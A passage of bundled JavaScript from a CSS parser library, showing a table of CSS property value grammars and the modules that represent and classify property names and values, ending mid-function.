3371 "baseline-shift" : "baseline | sub | super | <percentage> | <length>",
3372 "behavior" : 1,
3373 "binding" : 1,
3374 "bleed" : "<length>",
3375 "bookmark-label" : "<content> | <attr> | <string>",
3376 "bookmark-level" : "none | <integer>",
3377 "bookmark-state" : "open | closed",
3378 "bookmark-target" : "none | <uri> | <attr>",
3379 "border" : "<border-width> || <border-style> || <color>",
3380 "border-bottom" : "<border-width> || <border-style> || <color>",
3381 "border-bottom-color" : "<color>",
3382 "border-bottom-left-radius" : "<x-one-radius>",
3383 "border-bottom-right-radius" : "<x-one-radius>",
3384 "border-bottom-style" : "<border-style>",
3385 "border-bottom-width" : "<border-width>",
3386 "border-collapse" : "collapse | separate",
3387 "border-color" : "<color>{1,4}",
3388 "border-image" : 1,
3389 "border-image-outset" : "[ <length> | <number> ]{1,4}",
3390 "border-image-repeat" : "[ stretch | repeat | round ]{1,2}",
3391 "border-image-slice" : "<border-image-slice>",
3392 "border-image-source" : "<image> | none",
3393 "border-image-width" : "[ <length> | <percentage> | <number> | auto ]{1,4}",
3394 "border-left" : "<border-width> || <border-style> || <color>",
3395 "border-left-color" : "<color>",
3396 "border-left-style" : "<border-style>",
3397 "border-left-width" : "<border-width>",
3398 "border-radius" : "<border-radius>",
3399 "border-right" : "<border-width> || <border-style> || <color>",
3400 "border-right-color" : "<color>",
3401 "border-right-style" : "<border-style>",
3402 "border-right-width" : "<border-width>",
3403 "border-spacing" : "<length>{1,2}",
3404 "border-style" : "<border-style>{1,4}",
3405 "border-top" : "<border-width> || <border-style> || <color>",
3406 "border-top-color" : "<color>",
3407 "border-top-left-radius" : "<x-one-radius>",
3408 "border-top-right-radius" : "<x-one-radius>",
3409 "border-top-style" : "<border-style>",
3410 "border-top-width" : "<border-width>",
3411 "border-width" : "<border-width>{1,4}",
3412 "bottom" : "<margin-width>",
3413 "-moz-box-align" : "start | end | center | baseline | stretch",
3414 "-moz-box-decoration-break" : "slice | clone",
3415 "-moz-box-direction" : "normal | reverse",
3416 "-moz-box-flex" : "<number>",
3417 "-moz-box-flex-group" : "<integer>",
3418 "-moz-box-lines" : "single | multiple",
3419 "-moz-box-ordinal-group" : "<integer>",
3420 "-moz-box-orient" : "horizontal | vertical | inline-axis | block-axis",
3421 "-moz-box-pack" : "start | end | center | justify",
3422 "-o-box-decoration-break" : "slice | clone",
3423 "-webkit-box-align" : "start | end | center | baseline | stretch",
3424 "-webkit-box-decoration-break" : "slice | clone",
3425 "-webkit-box-direction" : "normal | reverse",
3426 "-webkit-box-flex" : "<number>",
3427 "-webkit-box-flex-group" : "<integer>",
3428 "-webkit-box-lines" : "single | multiple",
3429 "-webkit-box-ordinal-group" : "<integer>",
3430 "-webkit-box-orient" : "horizontal | vertical | inline-axis | block-axis",
3431 "-webkit-box-pack" : "start | end | center | justify",
3432 "box-decoration-break" : "slice | clone",
3433 "box-shadow" : "<box-shadow>",
3434 "box-sizing" : "content-box | border-box",
3435 "break-after" : "auto | always | avoid | left | right | page | column | avoid-page | avoid-column",
3436 "break-before" : "auto | always | avoid | left | right | page | column | avoid-page | avoid-column",
3437 "break-inside" : "auto | avoid | avoid-page | avoid-column",
3438
3439 //C
3440 "caption-side" : "top | bottom",
3441 "clear" : "none | right | left | both",
3442 "clip" : "<shape> | auto",
3443 "-webkit-clip-path" : "<clip-source> | <clip-path> | none",
3444 "clip-path" : "<clip-source> | <clip-path> | none",
3445 "clip-rule" : "nonzero | evenodd",
3446 "color" : "<color>",
3447 "color-interpolation" : "auto | sRGB | linearRGB",
3448 "color-interpolation-filters" : "auto | sRGB | linearRGB",
3449 "color-profile" : 1,
3450 "color-rendering" : "auto | optimizeSpeed | optimizeQuality",
3451 "column-count" : "<integer> | auto", //https://www.w3.org/TR/css3-multicol/
3452 "column-fill" : "auto | balance",
3453 "column-gap" : "<length> | normal",
3454 "column-rule" : "<border-width> || <border-style> || <color>",
3455 "column-rule-color" : "<color>",
3456 "column-rule-style" : "<border-style>",
3457 "column-rule-width" : "<border-width>",
3458 "column-span" : "none | all",
3459 "column-width" : "<length> | auto",
3460 "columns" : 1,
3461 "content" : 1,
3462 "counter-increment" : 1,
3463 "counter-reset" : 1,
3464 "crop" : "<shape> | auto",
3465 "cue" : "cue-after | cue-before",
3466 "cue-after" : 1,
3467 "cue-before" : 1,
3468 "cursor" : 1,
3469
3470 //D
3471 "direction" : "ltr | rtl",
3472 "display" : "inline | block | list-item | inline-block | table | inline-table | table-row-group | table-header-group | table-footer-group | table-row | table-column-group | table-column | table-cell | table-caption | grid | inline-grid | run-in | ruby | ruby-base | ruby-text | ruby-base-container | ruby-text-container | contents | none | -moz-box | -moz-inline-block | -moz-inline-box | -moz-inline-grid | -moz-inline-stack | -moz-inline-table | -moz-grid | -moz-grid-group | -moz-grid-line | -moz-groupbox | -moz-deck | -moz-popup | -moz-stack | -moz-marker | -webkit-box | -webkit-inline-box | -ms-flexbox | -ms-inline-flexbox | flex | -webkit-flex | inline-flex | -webkit-inline-flex",
3473 "dominant-baseline" : "auto | use-script | no-change | reset-size | ideographic | alphabetic | hanging | mathematical | central | middle | text-after-edge | text-before-edge",
3474 "drop-initial-after-adjust" : "central | middle | after-edge | text-after-edge | ideographic | alphabetic | mathematical | <percentage> | <length>",
3475 "drop-initial-after-align" : "baseline | use-script | before-edge | text-before-edge | after-edge | text-after-edge | central | middle | ideographic | alphabetic | hanging | mathematical",
3476 "drop-initial-before-adjust" : "before-edge | text-before-edge | central | middle | hanging | mathematical | <percentage> | <length>",
3477 "drop-initial-before-align" : "caps-height | baseline | use-script | before-edge | text-before-edge | after-edge | text-after-edge | central | middle | ideographic | alphabetic | hanging | mathematical",
3478 "drop-initial-size" : "auto | line | <length> | <percentage>",
3479 "drop-initial-value" : "<integer>",
3480
3481 //E
3482 "elevation" : "<angle> | below | level | above | higher | lower",
3483 "empty-cells" : "show | hide",
3484 "enable-background" : 1,
3485
3486 //F
3487 "fill" : "<paint>",
3488 "fill-opacity" : "<opacity-value>",
3489 "fill-rule" : "nonzero | evenodd",
3490 "filter" : "<filter-function-list> | none",
3491 "fit" : "fill | hidden | meet | slice",
3492 "fit-position" : 1,
3493 "flex" : "<flex>",
3494 "flex-basis" : "<width>",
3495 "flex-direction" : "row | row-reverse | column | column-reverse",
3496 "flex-flow" : "<flex-direction> || <flex-wrap>",
3497 "flex-grow" : "<number>",
3498 "flex-shrink" : "<number>",
3499 "flex-wrap" : "nowrap | wrap | wrap-reverse",
3500 "-webkit-flex" : "<flex>",
3501 "-webkit-flex-basis" : "<width>",
3502 "-webkit-flex-direction" : "row | row-reverse | column | column-reverse",
3503 "-webkit-flex-flow" : "<flex-direction> || <flex-wrap>",
3504 "-webkit-flex-grow" : "<number>",
3505 "-webkit-flex-shrink" : "<number>",
3506 "-webkit-flex-wrap" : "nowrap | wrap | wrap-reverse",
3507 "-ms-flex" : "<flex>",
3508 "-ms-flex-align" : "start | end | center | stretch | baseline",
3509 "-ms-flex-direction" : "row | row-reverse | column | column-reverse",
3510 "-ms-flex-order" : "<number>",
3511 "-ms-flex-pack" : "start | end | center | justify",
3512 "-ms-flex-wrap" : "nowrap | wrap | wrap-reverse",
3513 "float" : "left | right | none",
3514 "float-offset" : 1,
3515 "flood-color" : 1,
3516 "flood-opacity" : "<opacity-value>",
3517 "font" : "<font-shorthand> | caption | icon | menu | message-box | small-caption | status-bar",
3518 "font-family" : "<font-family>",
3519 "font-feature-settings" : "<feature-tag-value> | normal",
3520 "font-kerning" : "auto | normal | none",
3521 "font-size" : "<font-size>",
3522 "font-size-adjust" : "<number> | none",
3523 "font-stretch" : "<font-stretch>",
3524 "font-style" : "<font-style>",
3525 "font-variant" : "<font-variant> | normal | none",
3526 "font-variant-alternates" : "<font-variant-alternates> | normal",
3527 "font-variant-caps" : "<font-variant-caps> | normal",
3528 "font-variant-east-asian" : "<font-variant-east-asian> | normal",
3529 "font-variant-ligatures" : "<font-variant-ligatures> | normal | none",
3530 "font-variant-numeric" : "<font-variant-numeric> | normal",
3531 "font-variant-position" : "normal | sub | super",
3532 "font-weight" : "<font-weight>",
3533
3534 //G
3535 "glyph-orientation-horizontal" : "<glyph-angle>",
3536 "glyph-orientation-vertical" : "auto | <glyph-angle>",
3537 "grid" : 1,
3538 "grid-area" : 1,
3539 "grid-auto-columns" : 1,
3540 "grid-auto-flow" : 1,
3541 "grid-auto-position" : 1,
3542 "grid-auto-rows" : 1,
3543 "grid-cell-stacking" : "columns | rows | layer",
3544 "grid-column" : 1,
3545 "grid-columns" : 1,
3546 "grid-column-align" : "start | end | center | stretch",
3547 "grid-column-sizing" : 1,
3548 "grid-column-start" : 1,
3549 "grid-column-end" : 1,
3550 "grid-column-span" : "<integer>",
3551 "grid-flow" : "none | rows | columns",
3552 "grid-layer" : "<integer>",
3553 "grid-row" : 1,
3554 "grid-rows" : 1,
3555 "grid-row-align" : "start | end | center | stretch",
3556 "grid-row-start" : 1,
3557 "grid-row-end" : 1,
3558 "grid-row-span" : "<integer>",
3559 "grid-row-sizing" : 1,
3560 "grid-template" : 1,
3561 "grid-template-areas" : 1,
3562 "grid-template-columns" : 1,
3563 "grid-template-rows" : 1,
3564
3565 //H
3566 "hanging-punctuation" : 1,
3567 "height" : "<margin-width> | <content-sizing>",
3568 "hyphenate-after" : "<integer> | auto",
3569 "hyphenate-before" : "<integer> | auto",
3570 "hyphenate-character" : "<string> | auto",
3571 "hyphenate-lines" : "no-limit | <integer>",
3572 "hyphenate-resource" : 1,
3573 "hyphens" : "none | manual | auto",
3574
3575 //I
3576 "icon" : 1,
3577 "image-orientation" : "angle | auto",
3578 "image-rendering" : "auto | optimizeSpeed | optimizeQuality",
3579 "image-resolution" : 1,
3580 "ime-mode" : "auto | normal | active | inactive | disabled",
3581 "inline-box-align" : "last | <integer>",
3582
3583 //J
3584 "justify-content" : "flex-start | flex-end | center | space-between | space-around",
3585 "-webkit-justify-content" : "flex-start | flex-end | center | space-between | space-around",
3586
3587 //K
3588 "kerning" : "auto | <length>",
3589
3590 //L
3591 "left" : "<margin-width>",
3592 "letter-spacing" : "<length> | normal",
3593 "line-height" : "<line-height>",
3594 "line-break" : "auto | loose | normal | strict",
3595 "line-stacking" : 1,
3596 "line-stacking-ruby" : "exclude-ruby | include-ruby",
3597 "line-stacking-shift" : "consider-shifts | disregard-shifts",
3598 "line-stacking-strategy" : "inline-line-height | block-line-height | max-height | grid-height",
3599 "list-style" : 1,
3600 "list-style-image" : "<uri> | none",
3601 "list-style-position" : "inside | outside",
3602 "list-style-type" : "disc | circle | square | decimal | decimal-leading-zero | lower-roman | upper-roman | lower-greek | lower-latin | upper-latin | armenian | georgian | lower-alpha | upper-alpha | none",
3603
3604 //M
3605 "margin" : "<margin-width>{1,4}",
3606 "margin-bottom" : "<margin-width>",
3607 "margin-left" : "<margin-width>",
3608 "margin-right" : "<margin-width>",
3609 "margin-top" : "<margin-width>",
3610 "mark" : 1,
3611 "mark-after" : 1,
3612 "mark-before" : 1,
3613 "marker" : 1,
3614 "marker-end" : 1,
3615 "marker-mid" : 1,
3616 "marker-start" : 1,
3617 "marks" : 1,
3618 "marquee-direction" : 1,
3619 "marquee-play-count" : 1,
3620 "marquee-speed" : 1,
3621 "marquee-style" : 1,
3622 "mask" : 1,
3623 "max-height" : "<length> | <percentage> | <content-sizing> | none",
3624 "max-width" : "<length> | <percentage> | <content-sizing> | none",
3625 "min-height" : "<length> | <percentage> | <content-sizing> | contain-floats | -moz-contain-floats | -webkit-contain-floats",
3626 "min-width" : "<length> | <percentage> | <content-sizing> | contain-floats | -moz-contain-floats | -webkit-contain-floats",
3627 "move-to" : 1,
3628
3629 //N
3630 "nav-down" : 1,
3631 "nav-index" : 1,
3632 "nav-left" : 1,
3633 "nav-right" : 1,
3634 "nav-up" : 1,
3635
3636 //O
3637 "object-fit" : "fill | contain | cover | none | scale-down",
3638 "object-position" : "<position>",
3639 "opacity" : "<opacity-value>",
3640 "order" : "<integer>",
3641 "-webkit-order" : "<integer>",
3642 "orphans" : "<integer>",
3643 "outline" : 1,
3644 "outline-color" : "<color> | invert",
3645 "outline-offset" : 1,
3646 "outline-style" : "<border-style>",
3647 "outline-width" : "<border-width>",
3648 "overflow" : "visible | hidden | scroll | auto",
3649 "overflow-style" : 1,
3650 "overflow-wrap" : "normal | break-word",
3651 "overflow-x" : 1,
3652 "overflow-y" : 1,
3653
3654 //P
3655 "padding" : "<padding-width>{1,4}",
3656 "padding-bottom" : "<padding-width>",
3657 "padding-left" : "<padding-width>",
3658 "padding-right" : "<padding-width>",
3659 "padding-top" : "<padding-width>",
3660 "page" : 1,
3661 "page-break-after" : "auto | always | avoid | left | right",
3662 "page-break-before" : "auto | always | avoid | left | right",
3663 "page-break-inside" : "auto | avoid",
3664 "page-policy" : 1,
3665 "pause" : 1,
3666 "pause-after" : 1,
3667 "pause-before" : 1,
3668 "perspective" : 1,
3669 "perspective-origin" : 1,
3670 "phonemes" : 1,
3671 "pitch" : 1,
3672 "pitch-range" : 1,
3673 "play-during" : 1,
3674 "pointer-events" : "auto | none | visiblePainted | visibleFill | visibleStroke | visible | painted | fill | stroke | all",
3675 "position" : "static | relative | absolute | fixed",
3676 "presentation-level" : 1,
3677 "punctuation-trim" : 1,
3678
3679 //Q
3680 "quotes" : 1,
3681
3682 //R
3683 "rendering-intent" : 1,
3684 "resize" : 1,
3685 "rest" : 1,
3686 "rest-after" : 1,
3687 "rest-before" : 1,
3688 "richness" : 1,
3689 "right" : "<margin-width>",
3690 "rotation" : 1,
3691 "rotation-point" : 1,
3692 "ruby-align" : 1,
3693 "ruby-overhang" : 1,
3694 "ruby-position" : 1,
3695 "ruby-span" : 1,
3696
3697 //S
3698 "shape-rendering" : "auto | optimizeSpeed | crispEdges | geometricPrecision",
3699 "size" : 1,
3700 "speak" : "normal | none | spell-out",
3701 "speak-header" : "once | always",
3702 "speak-numeral" : "digits | continuous",
3703 "speak-punctuation" : "code | none",
3704 "speech-rate" : 1,
3705 "src" : 1,
3706 "stop-color" : 1,
3707 "stop-opacity" : "<opacity-value>",
3708 "stress" : 1,
3709 "string-set" : 1,
3710 "stroke" : "<paint>",
3711 "stroke-dasharray" : "none | <dasharray>",
3712 "stroke-dashoffset" : "<percentage> | <length>",
3713 "stroke-linecap" : "butt | round | square",
3714 "stroke-linejoin" : "miter | round | bevel",
3715 "stroke-miterlimit" : "<miterlimit>",
3716 "stroke-opacity" : "<opacity-value>",
3717 "stroke-width" : "<percentage> | <length>",
3718
3719 "table-layout" : "auto | fixed",
3720 "tab-size" : "<integer> | <length>",
3721 "target" : 1,
3722 "target-name" : 1,
3723 "target-new" : 1,
3724 "target-position" : 1,
3725 "text-align" : "left | right | center | justify | match-parent | start | end",
3726 "text-align-last" : 1,
3727 "text-anchor" : "start | middle | end",
3728 "text-decoration" : "<text-decoration-line> || <text-decoration-style> || <text-decoration-color>",
3729 "text-decoration-color" : "<text-decoration-color>",
3730 "text-decoration-line" : "<text-decoration-line>",
3731 "text-decoration-style" : "<text-decoration-style>",
3732 "text-emphasis" : 1,
3733 "text-height" : 1,
3734 "text-indent" : "<length> | <percentage>",
3735 "text-justify" : "auto | none | inter-word | inter-ideograph | inter-cluster | distribute | kashida",
3736 "text-outline" : 1,
3737 "text-overflow" : 1,
3738 "text-rendering" : "auto | optimizeSpeed | optimizeLegibility | geometricPrecision",
3739 "text-shadow" : 1,
3740 "text-transform" : "capitalize | uppercase | lowercase | none",
3741 "text-wrap" : "normal | none | avoid",
3742 "top" : "<margin-width>",
3743 "-ms-touch-action" : "auto | none | pan-x | pan-y | pan-left | pan-right | pan-up | pan-down | manipulation",
3744 "touch-action" : "auto | none | pan-x | pan-y | pan-left | pan-right | pan-up | pan-down | manipulation",
3745 "transform" : 1,
3746 "transform-origin" : 1,
3747 "transform-style" : 1,
3748 "transition" : 1,
3749 "transition-delay" : 1,
3750 "transition-duration" : 1,
3751 "transition-property" : 1,
3752 "transition-timing-function" : 1,
3753
3754 //U
3755 "unicode-bidi" : "normal | embed | isolate | bidi-override | isolate-override | plaintext",
3756 "user-modify" : "read-only | read-write | write-only",
3757 "user-select" : "none | text | toggle | element | elements | all",
3758
3759 //V
3760 "vertical-align" : "auto | use-script | baseline | sub | super | top | text-top | central | middle | bottom | text-bottom | <percentage> | <length>",
3761 "visibility" : "visible | hidden | collapse",
3762 "voice-balance" : 1,
3763 "voice-duration" : 1,
3764 "voice-family" : 1,
3765 "voice-pitch" : 1,
3766 "voice-pitch-range" : 1,
3767 "voice-rate" : 1,
3768 "voice-stress" : 1,
3769 "voice-volume" : 1,
3770 "volume" : 1,
3771
3772 //W
3773 "white-space" : "normal | pre | nowrap | pre-wrap | pre-line | -pre-wrap | -o-pre-wrap | -moz-pre-wrap | -hp-pre-wrap", // https://perishablepress.com/wrapping-content/
3774 "white-space-collapse" : 1,
3775 "widows" : "<integer>",
3776 "width" : "<length> | <percentage> | <content-sizing> | auto",
3777 "will-change" : "<will-change>",
3778 "word-break" : "normal | keep-all | break-all",
3779 "word-spacing" : "<length> | normal",
3780 "word-wrap" : "normal | break-word",
3781 "writing-mode" : "horizontal-tb | vertical-rl | vertical-lr | lr-tb | rl-tb | tb-rl | bt-rl | tb-lr | bt-lr | lr-bt | rl-bt | lr | rl | tb",
3782
3783 //Z
3784 "z-index" : "<integer> | auto",
3785 "zoom" : "<number> | <percentage> | normal"
3786};
3787
3788},{}],8:[function(require,module,exports){
3789"use strict";
3790
3791module.exports = PropertyName;
3792
3793var SyntaxUnit = require("../util/SyntaxUnit");
3794
3795var Parser = require("./Parser");
3796
3797/**
3798 * Represents a selector combinator (whitespace, +, >).
3799 * @namespace parserlib.css
3800 * @class PropertyName
3801 * @extends parserlib.util.SyntaxUnit
3802 * @constructor
3803 * @param {String} text The text representation of the unit.
3804 * @param {String} hack The type of IE hack applied ("*", "_", or null).
3805 * @param {int} line The line of text on which the unit resides.
3806 * @param {int} col The column of text on which the unit resides.
3807 */
3808function PropertyName(text, hack, line, col) {
3809
3810 SyntaxUnit.call(this, text, line, col, Parser.PROPERTY_NAME_TYPE);
3811
3812 /**
3813 * The type of IE hack applied ("*", "_", or null).
3814 * @type String
3815 * @property hack
3816 */
3817 this.hack = hack;
3818
3819}
3820
3821PropertyName.prototype = new SyntaxUnit();
3822PropertyName.prototype.constructor = PropertyName;
3823PropertyName.prototype.toString = function() {
3824 return (this.hack ? this.hack : "") + this.text;
3825};
3826
3827},{"../util/SyntaxUnit":26,"./Parser":6}],9:[function(require,module,exports){
3828"use strict";
3829
3830module.exports = PropertyValue;
3831
3832var SyntaxUnit = require("../util/SyntaxUnit");
3833
3834var Parser = require("./Parser");
3835
3836/**
3837 * Represents a single part of a CSS property value, meaning that it represents
3838 * just everything single part between ":" and ";". If there are multiple values
3839 * separated by commas, this type represents just one of the values.
3840 * @param {String[]} parts An array of value parts making up this value.
3841 * @param {int} line The line of text on which the unit resides.
3842 * @param {int} col The column of text on which the unit resides.
3843 * @namespace parserlib.css
3844 * @class PropertyValue
3845 * @extends parserlib.util.SyntaxUnit
3846 * @constructor
3847 */
3848function PropertyValue(parts, line, col) {
3849
3850 SyntaxUnit.call(this, parts.join(" "), line, col, Parser.PROPERTY_VALUE_TYPE);
3851
3852 /**
3853 * The parts that make up the selector.
3854 * @type Array
3855 * @property parts
3856 */
3857 this.parts = parts;
3858
3859}
3860
3861PropertyValue.prototype = new SyntaxUnit();
3862PropertyValue.prototype.constructor = PropertyValue;
3863
3864
3865},{"../util/SyntaxUnit":26,"./Parser":6}],10:[function(require,module,exports){
3866"use strict";
3867
3868module.exports = PropertyValueIterator;
3869
3870/**
3871 * A utility class that allows for easy iteration over the various parts of a
3872 * property value.
3873 * @param {parserlib.css.PropertyValue} value The property value to iterate over.
3874 * @namespace parserlib.css
3875 * @class PropertyValueIterator
3876 * @constructor
3877 */
3878function PropertyValueIterator(value) {
3879
3880 /**
3881 * Iterator value
3882 * @type int
3883 * @property _i
3884 * @private
3885 */
3886 this._i = 0;
3887
3888 /**
3889 * The parts that make up the value.
3890 * @type Array
3891 * @property _parts
3892 * @private
3893 */
3894 this._parts = value.parts;
3895
3896 /**
3897 * Keeps track of bookmarks along the way.
3898 * @type Array
3899 * @property _marks
3900 * @private
3901 */
3902 this._marks = [];
3903
3904 /**
3905 * Holds the original property value.
3906 * @type parserlib.css.PropertyValue
3907 * @property value
3908 */
3909 this.value = value;
3910
3911}
3912
3913/**
3914 * Returns the total number of parts in the value.
3915 * @return {int} The total number of parts in the value.
3916 * @method count
3917 */
3918PropertyValueIterator.prototype.count = function() {
3919 return this._parts.length;
3920};
3921
3922/**
3923 * Indicates if the iterator is positioned at the first item.
3924 * @return {Boolean} True if positioned at first item, false if not.
3925 * @method isFirst
3926 */
3927PropertyValueIterator.prototype.isFirst = function() {
3928 return this._i === 0;
3929};
3930
3931/**
3932 * Indicates if there are more parts of the property value.
3933 * @return {Boolean} True if there are more parts, false if not.
3934 * @method hasNext
3935 */
3936PropertyValueIterator.prototype.hasNext = function() {
3937 return this._i < this._parts.length;
3938};
3939
3940/**
3941 * Marks the current spot in the iteration so it can be restored to
3942 * later on.
3943 * @return {void}
3944 * @method mark
3945 */
3946PropertyValueIterator.prototype.mark = function() {
3947 this._marks.push(this._i);
3948};
3949
3950/**
3951 * Returns the next part of the property value or null if there is no next
3952 * part. Does not move the internal counter forward.
3953 * @return {parserlib.css.PropertyValuePart} The next part of the property value or null if there is no next
3954 * part.
3955 * @method peek
3956 */
3957PropertyValueIterator.prototype.peek = function(count) {
3958 return this.hasNext() ? this._parts[this._i + (count || 0)] : null;
3959};
3960
3961/**
3962 * Returns the next part of the property value or null if there is no next
3963 * part.
3964 * @return {parserlib.css.PropertyValuePart} The next part of the property value or null if there is no next
3965 * part.
3966 * @method next
3967 */
3968PropertyValueIterator.prototype.next = function() {
3969 return this.hasNext() ? this._parts[this._i++] : null;
3970};
3971
3972/**
3973 * Returns the previous part of the property value or null if there is no
3974 * previous part.
3975 * @return {parserlib.css.PropertyValuePart} The previous part of the
3976 * property value or null if there is no previous part.
3977 * @method previous
3978 */
3979PropertyValueIterator.prototype.previous = function() {
3980 return this._i > 0 ? this._parts[--this._i] : null;
3981};
3982
3983/**
3984 * Restores the last saved bookmark.
3985 * @return {void}
3986 * @method restore
3987 */
3988PropertyValueIterator.prototype.restore = function() {
3989 if (this._marks.length) {
3990 this._i = this._marks.pop();
3991 }
3992};
3993
3994/**
3995 * Drops the last saved bookmark.
3996 * @return {void}
3997 * @method drop
3998 */
3999PropertyValueIterator.prototype.drop = function() {
4000 this._marks.pop();
4001};
4002
4003},{}],11:[function(require,module,exports){
4004"use strict";
4005
4006module.exports = PropertyValuePart;
4007
4008var SyntaxUnit = require("../util/SyntaxUnit");
4009
4010var Colors = require("./Colors");
4011var Parser = require("./Parser");
4012var Tokens = require("./Tokens");
4013
4014/**
4015 * Represents a single part of a CSS property value, meaning that it represents
4016 * just one part of the data between ":" and ";".
4017 * @param {String} text The text representation of the unit.
4018 * @param {int} line The line of text on which the unit resides.
4019 * @param {int} col The column of text on which the unit resides.
4020 * @namespace parserlib.css
4021 * @class PropertyValuePart
4022 * @extends parserlib.util.SyntaxUnit
4023 * @constructor
4024 */
4025function PropertyValuePart(text, line, col, optionalHint) {
4026 var hint = optionalHint || {};
4027
4028 SyntaxUnit.call(this, text, line, col, Parser.PROPERTY_VALUE_PART_TYPE);
4029
4030 /**
4031 * Indicates the type of value unit.
4032 * @type String
4033 * @property type
4034 */
4035 this.type = "unknown";
4036
4037 //figure out what type of data it is
4038
4039 var temp;
4040
4041 //it is a measurement?
4042 if (/^([+\-]?[\d\.]+)([a-z]+)$/i.test(text)) { //dimension
4043 this.type = "dimension";
4044 this.value = +RegExp.$1;
4045 this.units = RegExp.$2;
4046
4047 //try to narrow down
4048 switch (this.units.toLowerCase()) {
4049
4050 case "em":
4051 case "rem":
4052 case "ex":
4053 case "px":
4054 case "cm":
4055 case "mm":
4056 case "in":
4057 case "pt":
4058 case "pc":
4059 case "ch":
4060 case "vh":
4061 case "vw":
4062 case "vmax":
4063 case "vmin":
4064 this.type = "length";
4065 break;
4066
4067 case "fr":
4068 this.type = "grid";
4069 break;
4070
4071 case "deg":
4072 case "rad":
4073 case "grad":
4074 case "turn":
4075 this.type = "angle";
4076 break;
4077
4078 case "ms":
4079 case "s":
4080 this.type = "time";
4081 break;
4082
4083 case "hz":
4084 case "khz":
4085 this.type = "frequency";
4086 break;
4087
4088 case "dpi":
4089 case "dpcm":
4090 this.type = "resolution";
4091 break;
4092
4093 //default
4094
4095 }
4096
4097 } else if (/^([+\-]?[\d\.]+)%$/i.test(text)) { //percentage
4098 this.type = "percentage";
4099 this.value = +RegExp.$1;
4100 } else if (/^([+\-]?\d+)$/i.test(text)) { //integer
4101 this.type = "integer";
4102 this.value = +RegExp.$1;
4103 } else if (/^([+\-]?[\d\.]+)$/i.test(text)) { //number
4104 this.type = "number";
4105 this.value = +RegExp.$1;
4106
4107 } else if (/^#([a-f0-9]{3,6})/i.test(text)) { //hexcolor
4108 this.type = "color";
4109 temp = RegExp.$1;
4110 if (temp.length === 3) {
4111 this.red = parseInt(temp.charAt(0)+temp.charAt(0), 16);
4112 this.green = parseInt(temp.charAt(1)+temp.charAt(1), 16);
4113 this.blue = parseInt(temp.charAt(2)+temp.charAt(2), 16);
4114 } else {
4115 this.red = parseInt(temp.substring(0, 2), 16);
4116 this.green = parseInt(temp.substring(2, 4), 16);
4117 this.blue = parseInt(temp.substring(4, 6), 16);
4118 }
4119 } else if (/^rgb\(\s*(\d+)\s*,\s*(\d+)\s*,\s*(\d+)\s*\)/i.test(text)) { //rgb() color with absolute numbers
4120 this.type = "color";
4121 this.red = +RegExp.$1;
4122 this.green = +RegExp.$2;
4123 this.blue = +RegExp.$3;
4124 } else if (/^rgb\(\s*(\d+)%\s*,\s*(\d+)%\s*,\s*(\d+)%\s*\)/i.test(text)) { //rgb() color with percentages
4125 this.type = "color";
4126 this.red = +RegExp.$1 * 255 / 100;
4127 this.green = +RegExp.$2 * 255 / 100;
4128 this.blue = +RegExp.$3 * 255 / 100;
4129 } else if (/^rgba\(\s*(\d+)\s*,\s*(\d+)\s*,\s*(\d+)\s*,\s*([\d\.]+)\s*\)/i.test(text)) { //rgba() color with absolute numbers
4130 this.type = "color";
4131 this.red = +RegExp.$1;
4132 this.green = +RegExp.$2;
4133 this.blue = +RegExp.$3;
4134 this.alpha = +RegExp.$4;
4135 } else if (/^rgba\(\s*(\d+)%\s*,\s*(\d+)%\s*,\s*(\d+)%\s*,\s*([\d\.]+)\s*\)/i.test(text)) { //rgba() color with percentages
4136 this.type = "color";
4137 this.red = +RegExp.$1 * 255 / 100;
4138 this.green = +RegExp.$2 * 255 / 100;
4139 this.blue = +RegExp.$3 * 255 / 100;
4140 this.alpha = +RegExp.$4;
4141 } else if (/^hsl\(\s*(\d+)\s*,\s*(\d+)%\s*,\s*(\d+)%\s*\)/i.test(text)) { //hsl()
4142 this.type = "color";
4143 this.hue = +RegExp.$1;
4144 this.saturation = +RegExp.$2 / 100;
4145 this.lightness = +RegExp.$3 / 100;
4146 } else if (/^hsla\(\s*(\d+)\s*,\s*(\d+)%\s*,\s*(\d+)%\s*,\s*([\d\.]+)\s*\)/i.test(text)) { //hsla() color with percentages
4147 this.type = "color";
4148 this.hue = +RegExp.$1;
4149 this.saturation = +RegExp.$2 / 100;
4150 this.lightness = +RegExp.$3 / 100;
4151 this.alpha = +RegExp.$4;
4152 } else if (/^url\(("([^\\"]|\\.)*")\)/i.test(text)) { //URI
4153 // generated by TokenStream.readURI, so always double-quoted.
4154 this.type = "uri";
4155 this.uri = PropertyValuePart.parseString(RegExp.$1);
4156 } else if (/^([^\(]+)\(/i.test(text)) {
4157 this.type = "function";
4158 this.name = RegExp.$1;
4159 this.value = text;
4160 } else if (/^"([^\n\r\f\\"]|\\\r\n|\\[^\r0-9a-f]|\\[0-9a-f]{1,6}(\r\n|[ \n\r\t\f])?)*"/i.test(text)) { //double-quoted string
4161 this.type = "string";
4162 this.value = PropertyValuePart.parseString(text);
4163 } else if (/^'([^\n\r\f\\']|\\\r\n|\\[^\r0-9a-f]|\\[0-9a-f]{1,6}(\r\n|[ \n\r\t\f])?)*'/i.test(text)) { //single-quoted string
4164 this.type = "string";
4165 this.value = PropertyValuePart.parseString(text);
4166 } else if (Colors[text.toLowerCase()]) { //named color
4167 this.type = "color";
4168 temp = Colors[text.toLowerCase()].substring(1);
4169 this.red = parseInt(temp.substring(0, 2), 16);
4170 this.green = parseInt(temp.substring(2, 4), 16);
4171 this.blue = parseInt(temp.substring(4, 6), 16);
4172 } else if (/^[,\/]$/.test(text)) {
4173 this.type = "operator";
4174 this.value = text;
4175 } else if (/^-?[a-z_\u00A0-\uFFFF][a-z0-9\-_\u00A0-\uFFFF]*$/i.test(text)) {
4176 this.type = "identifier";
4177 this.value = text;
4178 }
4179
4180 // There can be ambiguity with escape sequences in identifiers, as
4181 // well as with "color" parts which are also "identifiers", so record
4182 // an explicit hint when the token generating this PropertyValuePart
4183 // was an identifier.
4184 this.wasIdent = Boolean(hint.ident);
4185
4186}
4187
4188PropertyValuePart.prototype = new SyntaxUnit();
4189PropertyValuePart.prototype.constructor = PropertyValuePart;
4190
4191/**
4192 * Helper method to parse a CSS string.
4193 */
4194PropertyValuePart.parseString = function(str) {
4195 str = str.slice(1, -1); // Strip surrounding single/double quotes
4196 var replacer = function(match, esc) {
4197 if (/^(\n|\r\n|\r|\f)$/.test(esc)) {
4198 return "";
4199 }
4200 var m = /^[0-9a-f]{1,6}/i.exec(esc);
4201 if (m) {
4202 var codePoint = parseInt(m[0], 16);
4203 if (String.fromCodePoint) {
